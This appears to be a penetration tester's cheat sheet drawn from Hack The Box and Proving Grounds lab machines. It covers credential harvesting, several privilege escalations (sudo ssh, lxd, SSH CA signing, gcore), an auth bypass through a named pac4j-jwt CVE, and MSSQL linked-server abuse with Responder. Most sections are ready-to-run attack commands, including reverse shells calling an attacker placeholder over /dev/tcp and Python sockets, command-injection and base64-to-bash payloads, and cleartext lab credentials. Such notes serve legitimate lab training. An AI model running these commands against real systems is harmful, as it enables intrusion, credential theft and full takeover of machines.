- # comment trick = neutralizes trailing characters the server appends after your input
- Backticks vs $() = both work for command substitution, but backticks are sometimes less filtered
- Payload anatomy: admin; (terminate SSH) + `echo B64|base64 -d|bash` (execute) + ;# (clean up)
- Learned from: HTB CozyHosting
Spring Boot JAR Extraction — Credential Harvesting¶
Command
# On target box after initial foothold:
# 1. Find the JAR
ls -la /app/ # or find / -name "*.jar" 2>/dev/null
# 2. Extract it
unzip cloudhosting-0.0.1.jar -d /tmp/extracted
# 3. Find credentials
grep -R password /tmp/extracted 2>/dev/null
cat /tmp/extracted/BOOT-INF/classes/application.properties
# 4. Typical findings:
# spring.datasource.url=jdbc:postgresql://localhost:5432/dbname
# spring.datasource.username=postgres
# spring.datasource.password=SecretPassword
# 5. Connect to the database
psql -h localhost -U postgres
# \list → list databases
# \c dbname → connect
# \d+ → list tables
# SELECT * FROM users;
Why
- Spring Boot bundles everything in a single JAR — config files, dependencies, templates
- application.properties (or .yml) almost always contains database credentials
- Internal databases (PostgreSQL, MySQL on localhost) are not visible from nmap but contain user hashes
- Cracking those hashes → password reuse → lateral movement to real system users
Flags/Notes
- Check ss -tlnp to find internal services (PostgreSQL default: 5432, MySQL: 3306)
- psql commands: \list (databases), \c dbname (connect), \d+ (tables), \d+ tablename (schema)
- bcrypt hashes ($2a$, $2y$) → john --wordlist=rockyou.txt or hashcat -m 3200
- Web app usernames ≠ system usernames — always check /home/ and /etc/passwd for real users
- Password reuse is extremely common — always try cracked web/DB passwords against SSH system users
- Learned from: HTB CozyHosting
Linux Privilege Escalation — Sudo SSH (GTFOBins)¶
Command
# Check sudo permissions
sudo -l
# If output shows: (root) /usr/bin/ssh *
# Escalate to root via ProxyCommand
sudo ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x
Why
- SSH's -o ProxyCommand option runs a command before establishing the connection
- When SSH runs as root (via sudo), the ProxyCommand shell inherits root privileges
- The dummy hostname x never resolves — ProxyCommand fires first
Flags/Notes
- sudo ssh = runs SSH as root (must be allowed by sudo policy)
- -o ProxyCommand='...' = SSH option meant for proxy setup, abused to spawn a shell
- ;/bin/sh 0<&2 1>&2 = spawns shell with stdin/stdout connected to terminal
- x = dummy hostname (SSH never actually connects)
- DON'T FORGET sudo — without it you get a shell as your current user, not root
- Works for any (root) /usr/bin/ssh * sudo entry — the * wildcard allows any arguments
- Reference: GTFOBins SSH
- Learned from: HTB CozyHosting
JWT/JWE Auth Bypass — CVE-2026-29000 (pac4j-jwt)¶
Command
# 1. Identify: check X-Powered-By header
curl -s -D- http://TARGET:8080/ | grep -i powered
# 2. Read client-side JS for auth flow details
curl -s http://TARGET:8080/static/js/app.js
# Look for: JWKS endpoint, claims schema, role values, encryption algorithms
# 3. Fetch RSA public key from JWKS endpoint (path from app.js, NOT always .well-known)
curl -s http://TARGET:8080/api/auth/jwks | jq .
# 4. Craft unsigned JWT at jwt.io:
# Header: {"alg": "none", "typ": "JWT"}
# Payload: {"sub": "admin", "role": "ROLE_ADMIN", "iss": "<from app.js>", "iat": <now>, "exp": <future>}
# 5. JWE-encrypt at authgear.com/tools/jwt-jwe-debugger:
# Algorithm: RSA-OAEP-256, Encryption: A128GCM (match what app.js says)
# Public key: JWK from step 3 (strip {"keys":[...]} wrapper)
# 6. Inject in browser DevTools → Storage → Session Storage:
# Key: auth_token Value: <JWE output>
# Refresh → authenticated
# 7. Or use via curl:
curl -s http://TARGET/api/endpoint -H "Authorization: Bearer <JWE>" | jq .
Why
- pac4j-jwt < 6.3.3 (also 5.x < 5.7.9, 4.x < 4.5.9) has CVE-2026-29000: after JWE decryption, it never validates the inner JWT signature
- Wrapping an unsigned JWT (alg: none) inside JWE encrypted with the server's public key bypasses all authentication
- Only need the RSA public key — which is designed to be public
Flags/Notes
- Always read app.js first — it typically documents encryption algorithms, claims schema, JWKS path, role values, and API endpoints. This saves hours of fuzzing.
- JWKS endpoint may NOT be at /.well-known/jwks.json — check client-side JS for the actual path
- iss claim must match exactly what the server expects (found in app.js comments)
- Role values are case-sensitive and often prefixed (e.g., ROLE_ADMIN not admin)
- Use epochconverter.com for iat/exp timestamps — exp must be in the future
- Token injection: sessionStorage.setItem('auth_token', '<JWE>') in console, or set in Storage tab
- After admin access: enumerate /api/users (usernames), /api/settings (secrets, infrastructure paths) — these often leak SSH passwords and internal config
- Shell expansion gotcha: Passwords containing $$ get expanded to PID in double quotes. Always single-quote passwords or type manually at prompt.
- Learned from: HTB Principal — X-Powered-By header → app.js → JWKS → forge admin token → settings leaked SSH password
Linux Privilege Escalation — SSH CA Certificate Signing¶
Command
# 1. Check group memberships for deploy/automation groups
id
# Example: uid=1001(svc-deploy) gid=1001(svc-deploy) groups=1001(svc-deploy),1002(deployers)
# 2. Find readable CA keys
find / -name "ca" -o -name "ca.pub" -o -name "*ca_key*" 2>/dev/null
ls -la /opt/*/ssh/ /etc/ssh/ca* 2>/dev/null
# 3. Verify sshd trusts this CA
grep -i "TrustedUserCA" /etc/ssh/sshd_config
# 4. Generate a new keypair (in /tmp if current dir not writable)
cd /tmp
ssh-keygen -t ed25519 -f root-ssh -N ""
# 5. Sign the public key as root principal
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root root-ssh.pub
# Output: "Signed user key root-ssh-cert.pub: id "pwned" serial 0 for root valid forever"
# 6. SSH as root
ssh -i root-ssh root@localhost
Why
- SSH certificate authentication (TrustedUserCAKeys) trusts any cert signed by the CA
- If you can read the CA private key, you can sign a cert for any principal — including root
- This bypasses PermitRootLogin prohibit-password because cert auth isn't password auth
- Service accounts in deployment groups (deployers, automation, devops) commonly have CA key access
Flags/Notes
- -s /path/to/ca — sign using this CA private key (you only need read access)
- -I pwned — certificate identity (arbitrary label, appears in auth logs)
- -n root — the principal name — tells sshd "this cert authenticates as root"
- -N "" — empty passphrase on generated keypair (skips prompt)
- -t ed25519 — modern, fast key type (also works with -t rsa)
- Write to /tmp if the CA directory isn't writable — you don't need to be in the same dir
- Check AuthorizedPrincipals in sshd_config — may restrict valid principals per user
- If root doesn't work, try -n <other-user> for users in sudoers or with elevated access
- Detection clue: TrustedUserCAKeys in sshd_config + readable CA key = instant root
- Learned from: HTB Principal — svc-deploy in deployers group → read CA key → sign cert for root → root shell
SMB Guest Mapping Discovery¶
Command
# When null auth lists shares as ACCESS_DENIED, try ANY username with empty password
nxc smb $IP -u 'anything_unknown' -p '' --shares
nxc smb $IP -u 'anything_unknown' -p '' -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10485760
Why
- On hosts with Guest enabled, unknown users get mapped to the Guest account
- Guest auth often reveals hidden shares (named with $) that null auth doesn't surface
- Default spider_plus size cap is 50KB; many interesting files (binaries, PDBs, DBs) get filtered
Flags/Notes
- Look for [+] domain\anyuser: (Guest) in nxc output — confirms Guest mapping is active
- Increase MAX_FILE_SIZE (bytes) to capture larger binaries — 10MB / 100MB usually sufficient
- Notable misconfig on Windows Server 2022+ DCs since Guest should be disabled by default there
- Pattern: HTB Overwatch — nxc smb -u theo -p '' → Guest → READ on software$ → overwatch.exe + .pdb
.NET Binary Decompilation Workflow¶
Command
# Install once (Kali Debian/Linux)
sudo apt-get install -y dotnet-sdk-10.0 aspnetcore-runtime-10.0
dotnet tool install -g ilspycmd
export PATH="$PATH:$HOME/.dotnet/tools"
# Decompile to C#
ilspycmd ./service.exe > service_decompiled.cs
wc -l service_decompiled.cs
# Find connection strings / credentials / sinks
grep -iE 'password|pwd|secret|connectionstring|user id=|server=' service_decompiled.cs
grep -iE 'Process.Start|cmd.exe|powershell|Runspace|Invoke-Expression|RunspaceFactory' service_decompiled.cs
# PDB source-file paths leak dev environment
strings ./service.pdb | grep -oE '[A-Za-z]:\\[^"]+\.cs' | sort -u
Why
- .NET binaries decompile to near-source C# with ilspycmd (or dnSpy on Windows GUI)
- PDBs restore method/variable names and leak the dev's machine paths
- Connection strings, hardcoded credentials, and command-injection sinks all live in plain view after decompilation
- Read the decompile TWICE: once for foothold credentials, once after privesc gets stuck
Flags/Notes
- strings alone misses UTF-16 / resource-embedded strings — always decompile, don't just strings
- .pdb next to .exe is a gift; treat as half the source code
- Re-grep for injection sinks (Process.Start, Invoke) after every shell upgrade — privesc primitives are often visible from foothold-stage loot but get walked past
- Lesson from: HTB Overwatch — KillProcess() was visible at foothold but ignored for 2 weeks; the binary held both the connection string (foothold) AND the privesc sink
impacket-mssqlclient Scripting¶
Command
#!/bin/bash
set -euo pipefail
source ~/.ip
USER='domain/user'; PASS='pass'; HOST='dc.fqdn'; PORT=1433
LOG="logs/mssql_$(date +%Y%m%d_%H%M%S).log"
mkdir -p logs
impacket-mssqlclient "${USER}:${PASS}@${HOST}" -port "${PORT}" -windows-auth <<'SQL' | tee "${LOG}"
SELECT @@version;
SELECT IS_SRVROLEMEMBER('sysadmin') AS sa, IS_SRVROLEMEMBER('securityadmin') AS sec;
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
SELECT name, type_desc, is_disabled FROM sys.server_principals WHERE type IN ('S','U','G');
SELECT name, is_data_access_enabled, is_rpc_out_enabled, is_remote_login_enabled FROM sys.servers WHERE is_linked=1;
SELECT * FROM sys.linked_logins;
SELECT name, is_trustworthy_on FROM sys.databases;
USE target_db;
SELECT TABLE_SCHEMA, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE';
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME LIKE '%pass%' OR COLUMN_NAME LIKE '%hash%' OR COLUMN_NAME LIKE '%secret%';
exit
SQL
Why
- Scripted enum is repeatable and timestamped; one source of truth per machine
- Heredoc with quoted terminator (<<'SQL') prevents bash from expanding SQL @@version / $column syntax
- tee captures output for evidence + later grep
Flags/Notes
- impacket-mssqlclient is line-oriented. Each line is one SQL statement. Put every statement on ONE line — multi-line statements split per newline and error per fragment. Or use -file <queries.sql>.
- Use -port (long form), not -p (which is the password flag on other impacket scripts)
- -windows-auth required for domain users (overwatch/sqlsvc); omit for SQL logins (sa, custom SQL accounts)
- sys.linked_logins returning empty does NOT mean no stored creds — the credential column is filtered out for non-sysadmins. Always pair with rogue-listener attack if you need to know
- Pattern from: HTB Overwatch enum script iterations (db_enum*.sh)
SQL Server Linked Server Abuse + Rogue Listener¶
Command
-- 1. Find linked servers
SELECT name, is_data_access_enabled, is_rpc_out_enabled FROM sys.servers WHERE is_linked=1;
-- 2. Query through the link (if data access enabled)
SELECT * FROM OPENQUERY([LINKED], 'SELECT @@version, SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')');
-- 3. RPC out (more powerful — arbitrary SQL on remote)
EXEC ('SELECT @@version') AT [LINKED];
EXEC ('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE; EXEC xp_cmdshell ''whoami''') AT [LINKED];
# 4. If linked-server host doesn't resolve, set up rogue listener
sudo responder -I tun0 -wv # has built-in MSSQL listener; SQL=On default
# 5. Cross-subnet attacker? Use ADIDNS instead of LLMNR/NBT-NS
dnstool -u 'DOMAIN\user' -p 'pass' --action add --record 'LINKED_HOSTNAME' --data <YOUR_IP> <DC_IP>
# 6. Re-fire the OPENQUERY → connection lands on you → Responder captures credential
Why
- Linked servers configured with is_data_access_enabled=1 and is_rpc_out_enabled=1 are a full pivot surface
- Linked-server credentials sent in CLEARTEXT over TDS when SQL Auth is used and remote doesn't present validated cert — Responder catches plaintext, no cracking needed
- LLMNR/NBT-NS poisoning only works same-subnet; ADIDNS is the cross-subnet equivalent
Flags/Notes
- Responder banner shows MSSQL server [ON] by default — built-in fake MSSQL listener catches TDS login
- For Kerberos passthrough links: you get NetNTLMv2; for SQL Auth links: you get cleartext
- Even an unreachable linked host is exploitable — that's the cue, not a dead end
- Pattern from: HTB Overwatch — SQL07 unreachable, all link flags enabled, ADIDNS spoof → Responder → sqlmgmt:bIhBbzMMnB82yx cleartext
ADIDNS Dynamic Record Creation¶
Command
# Verify auth (read-only)
dnstool -u 'DOMAIN\user' -p 'pass' --record '@' --action query 'domain.htb'
# Add A record
dnstool -u 'DOMAIN\user' -p 'pass' --action add --record 'TARGETHOST' --data <ATTACKER_IP> <DC_IP>
# Verify from your box
dig @<DC_IP> TARGETHOST.domain.htb +short
# Remove (post-engagement cleanup)
dnstool -u 'DOMAIN\user' -p 'pass' --action remove --record 'TARGETHOST' --data <ATTACKER_IP> <DC_IP>
Why
- Any authenticated domain user can add A records for unused names in AD-integrated DNS zones (Secure Dynamic Updates over GSS-TSIG)
- Cross-subnet equivalent of LLMNR/NBT-NS poisoning — works when the attacker can't reach the victim's broadcast domain
- Service accounts denied SMB/WinRM/LDAP logon often CAN still bind LDAP for DNS operations — SeNetworkLogonRight ≠ LDAP bind right
Flags/Notes
- dnstool lives at /usr/share/krbrelayx/dnstool.py on Kali (installed via apt as krbrelayx)
- --record is unqualified; dnstool appends the zone
- --data is the A record value (IP)
- Positional <DC_IP> is the LDAP server (DC)
- Replication delay can be 60–180 seconds — wait between create and query
- Only works for NEW names; modifying existing records requires write access to that AD object
- Pattern from: HTB Overwatch — sqlsvc denied SMB/WinRM but could bind LDAP via dnstool to register SQL07 → attacker IP
WCF / SOAP Service Command Injection¶
Command
# From any Windows shell with localhost access to the service
$proxy = New-WebServiceProxy -Uri "http://localhost:<port>/<ServiceName>?wsdl"
# List methods to find the injectable sink
$proxy | Get-Member | Where-Object { $_.MemberType -eq 'Method' }
# Inject (PowerShell sink — most common; cmd sink uses & instead of ;)
$proxy.VulnerableMethod('x; whoami #')
$proxy.VulnerableMethod('x; type C:\Users\Administrator\Desktop\root.txt #')
# Raw SOAP fallback when New-WebServiceProxy fails
$soap = '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><MethodName xmlns="http://tempuri.org/"><paramName>x; whoami #</paramName></MethodName></s:Body></s:Envelope>'
(iwr 'http://localhost:<port>/<ServiceName>/' -Method POST -ContentType 'text/xml' -Headers @{'SOAPAction'='"http://tempuri.org/IServiceContract/MethodName"'} -Body $soap -UseBasicParsing).Content
Why
- Self-hosted WCF services often run as LocalSystem (registered via NSSM)
- Unsafe string concatenation in service methods → injection via ; (PowerShell) or & (cmd) + #/rem to neutralize trailing args
- Methods that hosts via RunspaceFactory.CreateRunspace().Invoke() often return the captured output as a string → direct readback
Flags/Notes
- 0.0.0.0:port LISTENING ≠ externally reachable — Windows Firewall often blocks external while leaving loopback open
- PID 4 owning the port = HTTP.sys kernel listener (URL reservation). Service doesn't appear in Get-Service by port; check netsh http show urlacl
- ?wsdl requires httpGetEnabled="True" in config; fall back to /mex endpoint or raw SOAP otherwise
- includeExceptionDetailInFaults="True" = full .NET stack traces leak on errored injections (bonus info disclosure)
- SOAPAction header MUST be quoted with internal double-quotes — WCF strict about this: '"http://tempuri.org/IService/Method"'
- Pattern from: HTB Overwatch — overwatch.exe KillProcess("Stop-Process -Name " + processName + " -Force") → $proxy.KillProcess('x; whoami #') → NT AUTHORITY\SYSTEM
Service-Account Logon-Right Scoping¶
Command
# Test the SAME credential across ALL protocols — never assume scope from name
impacket-mssqlclient domain/user:'pass'@$IP -port <p> -windows-auth # Windows auth
impacket-mssqlclient user:'pass'@$IP -port <p> # SQL auth
nxc smb $IP -u user -p 'pass'
nxc winrm $IP -u user -p 'pass'
nxc ldap $IP -u user -p 'pass'
# Also try LDAP simple bind directly (sometimes works when nxc fails)
ldapsearch -x -H ldap://$IP -D 'user@domain.htb' -w 'pass' -b 'DC=domain,DC=htb' -s base
Why
- Windows logon rights are protocol-scoped: SeServiceLogonRight, SeNetworkLogonRight, SeInteractiveLogonRight, etc.
- A service account often has ONLY SeServiceLogonRight (for its own service) and is explicitly denied SeNetworkLogonRight → SMB/WinRM/LDAP all fail
- But LDAP simple bind via a tool that doesn't trigger SeNetworkLogonRight checks (e.g., dnstool.py) can still succeed
- A captured credential's "real" access scope is only known after testing each protocol
Flags/Notes
- nxc green [+] without (Pwn3d!) = auth works but no admin
- nxc green [+] (Pwn3d!) = local admin or PSRemoting rights
- "service account named X = scoped to X service" is a HINT, not a rule — always test broadly
- Credentials captured via one protocol (e.g., MSSQL rogue listener) frequently work across SMB/WinRM/LDAP — they're domain accounts that were re-used as SQL logins
- Pattern from: HTB Overwatch — sqlsvc worked for MSSQL Windows auth + LDAP bind (dnstool) but failed SMB/WinRM/nxc ldap; sqlmgmt failed SQL auth but worked for everything Windows including WinRM (Pwn3d!)
Apache Exhibitor (ZooKeeper) — java.env Config RCE¶
Command
# Identify: ZooKeeper on 2181 + an Exhibitor UI (often via an nginx 301 redirect)
curl -s http://$IP:8081/ # -> 301 /exhibitor/v1/ui/index.html on :8080
curl -s http://$IP:8080/exhibitor/v1/ui/index.html | head
# Exploit in the browser:
# Config tab -> make config EDITABLE -> paste into the "java.env" field:
nohup bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/3306 0>&1' &
# then COMMIT the config and RESTART the ZooKeeper instance
rlwrap nc -lnvp 3306 # catch the shell (charles)
Why this step
- Exhibitor is a web supervisor that restarts the ZooKeeper JVM. ZooKeeper's
zkEnv.sh sources java.env as a shell script on startup → anything you put
in that field runs as the service user when the instance restarts.
What success looks like
- Reverse shell as the ZooKeeper/Exhibitor user (charles on Pelican).
Flags/Notes / If it fails
- Use the Config tab, NOT the Explorer tab. Explorer only edits ZooKeeper
znodes (data, no code execution). The RCE is the java.env field on Config.
- If config is read-only, flip the toggle from znode/S3-backed config to local
editing. If commit doesn't auto-restart, use the explicit Restart control.
- Pick an egress-friendly listener port (80/443/3306).
- Lesson: when searchsploit against every service banner (openssh, zookeeper,
jetty, nginx) comes up empty, pivot to the stack's management/admin UI — the
bug lives in a config editor, not the daemon version.
- Pattern from: PG Pelican.
Linux Privilege Escalation — sudo gcore (dump a root process for its password)¶
Command
sudo -l # (root) NOPASSWD: /usr/bin/gcore
ps -ef --forest # find the NON-STANDARD root process
sudo gcore -o /tmp/ps <PID> # dump live memory of that root PID -> /tmp/ps.<PID>
strings /tmp/ps.<PID> | grep -iE 'pass|pwd|secret|cred|key|root|<user>'
su - # use the recovered password
Why this step
- A sudo-able memory-dump tool (gcore/gdb/procdump) as root lets you read the
cleartext memory of any process — including root daemons that cache passwords.
What success looks like
- A plaintext credential in the strings output (Pelican: 001 Password: root:
ClogKingpinInning731 from /usr/bin/password-store), usable with su -.
Flags/Notes / If it fails
- Litmus test for the target: "does this process plausibly hold a secret?"
Skip kernel threads ([brackets]), stock daemons, and busy-loops (e.g. a
while true; do chown ...; done cron). Target the custom, non-standard root
binary (password-store, authenticator, db/auth daemons).
- gcore does NOT kill the process. Output is /tmp/ps.<PID>.
- If empty/garbled: strings/file the binary itself to learn the secret format;
widen the grep (box name, usernames, BEGIN for keys); dump repeatedly or use
pspy if the secret is only in memory briefly.
- Pattern from: PG Pelican.
Linux Privilege Escalation — lxd / lxc group (mount host / as root)¶
Command
id # look for: groups=...,lxd (or lxc)
# ON ATTACK BOX — build Alpine image (target has no internet):
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo ./build-alpine # -> alpine-v3.xx-x86_64-*.tar.gz
python3 -m http.server 8000
# ON TARGET (lxd-group user):
lxc image import ./alpine-*.tar.gz --alias myimage
lxd init # first run only — accept ALL defaults
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer && lxc exec mycontainer /bin/sh
cat /mnt/root/root/root.txt # inside container = root; host / at /mnt/root
Why this step
- The lxd daemon runs as root; any lxd/lxc group member can launch a
privileged container and bind-mount the host / into it. Container root ==
host root over that mount. It's intended LXD behaviour, so it works on patched boxes.
- Group membership in lxd, docker, disk, or adm is effectively root — always
check id first before chasing harder paths.
What success looks like
- lxc exec drops you to ~ # as root; the host filesystem is readable/writable
at /mnt/root (read root.txt, or plant SUID bash / SSH key for a host root shell).
Flags/Notes / If it fails
- security.privileged=true disables UID remapping (container root = host root).
- source=/ ... recursive=true mounts the entire host fs, not a subdir.
- lxc missing → try /snap/bin/lxc. Daemon perms denied → newgrp lxd to activate
the group in the current shell. lxc init storage error → run lxd init first.
- Build warnings tar: Ignoring unknown extended header keyword APK-TOOLS.checksum.SHA1
are harmless.
- Pattern from: HTB Tabby.
SNMP Enumeration (UDP/161) — Community Brute + Secret Mining¶
Command
# 1. Find the community string (default 'public' often disabled)
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <IP>
./snmpbrute.py -t <IP> # → e.g. community "internal"
# 2. Full walk — save it, grep offline
snmpwalk -v2c -c <community> <IP> | tee snmpwalk.txt
# 3. Mine for secrets (process args are the jackpot)
grep -iE 'login|\.py|\.sh|pass|user|cred|key' snmpwalk.txt
# iso...25.4.2.1.5.<n> = STRING: "/usr/local/bin/login.py <PASSWORD>"
# ^ hrSWRunParameters = command-line args of running procs = any secret passed on the CLI
# 4. POST-FOOTHOLD: read the config for the cleartext SNMPv3 key
cat /etc/snmp/snmpd.conf
# createUser bootstrap MD5 SuperSecurePassword123__ DES <-- cleartext, often reused as a Linux pw
# com2sec AllUser default internal <-- the community string
Why
- SNMP is a two-for-one credential store: (1) secrets leaked as process CLI arguments remotely (no host access), and (2) the cleartext SNMPv3 auth passphrase in snmpd.conf after you get a shell.
- Any secret passed as a command-line arg anywhere is exposed via /proc/<pid>/cmdline locally and SNMP host-resources MIB remotely.
Flags/Notes
- -v2c -c <community>: v2c with community; strings are case-sensitive. Default public is usually disabled — brute it.
- Distinguish the leaks: a password in login.py <arg> may be an app/API password (NOT a Linux login) — try it against the web app first, then spray. The snmpd.conf createUser passphrase is the one that tends to be reused as a Linux password.
If it fails
- public rejected → snmpbrute.py / onesixtyone. Walk nearly empty → restricted view in snmpd.conf; try -v1 or specific OIDs.
- Timeout → it's UDP: -r 1 -t 5, confirm with nmap -sU -p161.
- Pattern from: HTB Mentor — community
internal→ walk leaked admin API password (login.py <pw>) → latersnmpd.confpassphrase = james's Linux password → root.
Command Injection Deadlocks a Single-Worker Web App¶
Command
# SYMPTOM: Burp AND your nc listener both hang; the vulnerable app/vhost times out on
# EVERY path while a different service on the box (Apache front-end) answers instantly.
# DIAGNOSE — healthy front-end + wedged app vhost = a pinned worker, not a network issue:
curl -s -o /dev/null -w "%{http_code} %{time_total}\n" http://TARGET/ # fast
curl -s -o /dev/null -w "%{http_code} %{time_total}\n" -H "Host: api.TARGET" http://IP/docs # timeout
# FIX — reset the box, then DETACH the payload so the handler returns immediately:
;setsid sh -c 'python3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER\",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];subprocess.call([\"/bin/sh\",\"-i\"])"' &
Why
- A blocking reverse shell injected into a request handler never returns while the shell lives. A single uvicorn/Flask/dev-server worker = the whole app freezes for all later requests. Killing your local nc orphans the child → worker stays pinned → only a box reset recovers it.
- setsid … & (or nohup … &, or a double-forking payload) returns an instant 2xx, frees the worker, keeps the app alive, and your shell still lands.
Flags/Notes
- Always confirm callback = live tun0 (ip -4 addr show tun0). A stale VPN IP = listener never fires even though the RCE worked.
- A bad/expired JWT returns fast (401/403), it does NOT hang — so a hang is the worker-lock, not auth. An instant 401 after reset = re-login for a fresh token.
If it fails
- Still hangs after reset → payload wasn't actually detached (shell metachar ate the &); URL-encode and re-check. Or wrong worker model — try a fire-and-forget payload that writes an SSH key instead of holding a socket.
- Pattern from: HTB Mentor — FastAPI
/admin/backupinjection; a blockingpty.spawnpayload frozeapi.mentorquotes.htbentirely while Apache stayed up.
Decoding Transfer/Exec Failures: not found vs Permission denied¶
Command
file /usr/bin/chisel # verify STATIC before serving: "ELF ... statically linked"
wget http://ATTACKER/chisel -O chisel # rename off shell metachars like '!'
Why — two errors on a file that clearly exists mean different things:
| Error | Meaning | Fix |
|---|---|---|
Permission denied |
no exec bit (or noexec mount like /tmp) |
chmod +x, or run from another dir |
not found (file exists) |
missing interpreter/loader: bad shebang, or dynamic linker/libc absent | static build, or correct interpreter |
Flags/Notes
- not found on an existing binary = (a) #!/bin/bash script on a box with no bash (Alpine → /bin/sh), or (b) dynamically-linked ELF (musl vs glibc mismatch) → transfer a static build.
- Installer scripts ≠ binaries: i.jpillora.com/chisel! serves a ~7 KB bash installer for curl | bash, not the tool. The real static chisel is usually already at /usr/bin/chisel on Kali — serve that.
- Avoid filenames with ! — history expansion in bash/zsh causes endless quoting pain.
- Pattern from: HTB Mentor — hours lost running the
chisel!installer script inside an Alpine container (not found= no bash).
Evidence capture¶
Command
- | tee logs/<name>.txt for readable output
- > logs/<name>.txt 2>&1 for large output
Why - Keep clean artifacts for writeups and proof
Flags/Notes
- Save outputs to logs/ and loot to loot/
- Note flag paths and commands used
Reading Errors: "Alarming Message" vs Actual Failure¶
Why — the most expensive habit in this work is treating a scary-looking message as a dead end and moving on. Several common errors mean you already succeeded. Read the text literally before you branch.
| Message | What it actually means |
|---|---|
| Blank page from a webshell | PHP fired — an exit; suppressed the rest of the page. The command failed, not the delivery. (A full styled 404 page = PHP never fired) |
ERROR 1045 (28000) ... (using password: NO) |
No password was sent at all — you omitted -p |
ERROR 1045 (28000) ... (using password: YES) |
Password sent, wrong |
ERROR 1044 (42000) ... to database 'X' |
Auth SUCCEEDED. 1045 = authentication (who are you); 1044 = authorization (what may you touch). You cannot fail 1044 without passing 1045 |
| GTFOBins "Unprivileged" tag | Describes the trigger, not the resulting privilege. You supply the sudo |
Permission denied mid-exploit, but it continues |
Often cosmetic — a privileged process failing to write back to a user-owned file. Check id before assuming failure |
Binary exists but not found |
Missing interpreter/loader — bad shebang or dynamic libc mismatch. Not a path problem |
Diagnostic rule — distinguish delivery failed from payload failed:
# webshell returning nothing? fold stderr into stdout so you can SEE the error
curl -s -G 'http://TARGET/bogus404' --data-urlencode 'cmd=id 2>&1'
Flags/Notes
- 2>&1 — redirect stderr into stdout. system() only pipes stdout into the
response body, so shell syntax errors are invisible without this. Reach for it
every time a webshell returns blank
- Pattern from: HTB Devvortex — hit four times on one box (blank page, 1044, GTFOBins "Unprivileged", apport Permission denied).
Three Parsing Layers: bash → URL/protocol → remote interpreter¶
Why — most "the exploit doesn't work" moments are not the exploit. Your input passes through three parsers and each gets a bite. When something behaves oddly, work out which layer ate it before rewriting the payload.
| Layer | Eats | Fix |
|---|---|---|
| Local shell (bash/zsh) | $ ! # & * quotes |
Single-quote everything. "$2y$10$..." expands $2/$1/$0 to empty and silently corrupts a bcrypt hash |
| URL / protocol | & ? # space + |
curl -G --data-urlencode — let curl encode it |
| Remote interpreter | sh vs bash builtins |
bash -c "..." to wrap redirections |
Command
# hash to file — single quotes mandatory, then VERIFY
echo -n '$2y$10$IT4k5...' > loot/target.hash
cat loot/target.hash # confirm $2y$10$ survived
# payload with & > and quotes — let curl encode it
curl -s -G 'http://TARGET/bogus404' \
--data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/ATTACKER/9001 0>&1"'
Flags/Notes
- Shell quotes around a curl URL are shell syntax, not part of the URL.
Copy-pasting 'http://...?cmd=id' into a browser sends a trailing ' to the
target → unterminated quote → blank page
- mysql -u user -p <password> — the space makes the next token the database
name. -p takes an attached optional argument. Prefer bare -p and type
it at the prompt (also keeps it out of ps aux and .bash_history)
- Always cat a hash back after writing it. Two seconds vs an hour debugging
"no hashes loaded"
- Pattern from: HTB Devvortex — trailing quote in browser,
-pspacing,$expansion.
Slow-Hash Triage: crack, or find another path?¶
Command
hashcat -m 3200 loot/target.hash /usr/share/wordlists/rockyou.txt # bcrypt $2*$
hashcat --show -m 3200 loot/target.hash # re-read from potfile
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt loot/target.hash
Why — bcrypt/scrypt/argon2 are deliberately slow. Before committing, do the arithmetic from hashcat's own status line:
keyspace ÷ H/s = worst-case seconds
Real numbers from a CPU-only run (PoCL, i5-8600K), bcrypt cost 10: - 64 H/s, rockyou = 14,344,385 candidates → ~62 hours for a full pass - Cracked in 21 seconds — but only because the password sat at candidate ~1,400, the top 0.01% of the list. That is luck, not capability
If the math reads "days," stop and find another path.
Flags/Notes
- -m 3200 bcrypt · -m 1800 sha512crypt · -m 500 md5crypt · -m 22100 BitLocker
- Wrong mode → "no hashes loaded" or a silent zero-result run
- Cost factor is in the hash: $2y$10$ = 2^10 rounds. 10 is tractable, 12+ hurts
- Cracked hashes cache in ~/.local/share/hashcat/hashcat.potfile permanently
- Only crack what buys you something. If you already hold the cleartext for
an account, its hash is worthless — don't spend the cycles
If it fails
- Password reuse first — test creds you already have against every service
- Check for an SSH private key, which makes cracking unnecessary
- Rule-based attack (-r best64.rule) before jumping to a larger wordlist
- Pattern from: HTB Devvortex — logan's bcrypt,
tequieromucho.
Virtual Host Fuzzing (when the visible site is a dead end)¶
Command
# 1) baseline the catch-all size for an unknown Host
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://TARGET.htb -H 'Host: FUZZ.TARGET.htb'
# 2) filter that exact SIZE — not the status code
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://TARGET.htb -H 'Host: FUZZ.TARGET.htb' -fs 154 -t 50
Why — a vhost is not a subdirectory. Same IP, same port, different
Host: header, entirely different application. -u http://target/FUZZ will
never find one. If only 80/443 are open and directory brute-force on the apex is
dry, the real app is probably behind another hostname.
Flags/Notes
- Filter on size, not status code. Nginx/Apache return a uniform catch-all
(e.g. 302, 154 bytes) for every unknown vhost. -fc 302 over-filters and
kills the real hit; -fs 154 removes exactly the noise signature
- -fw / -fl — word/line filters when sizes vary slightly
- Use a DNS wordlist (Discovery/DNS/), not Web-Content/ — guessing
hostnames, not paths
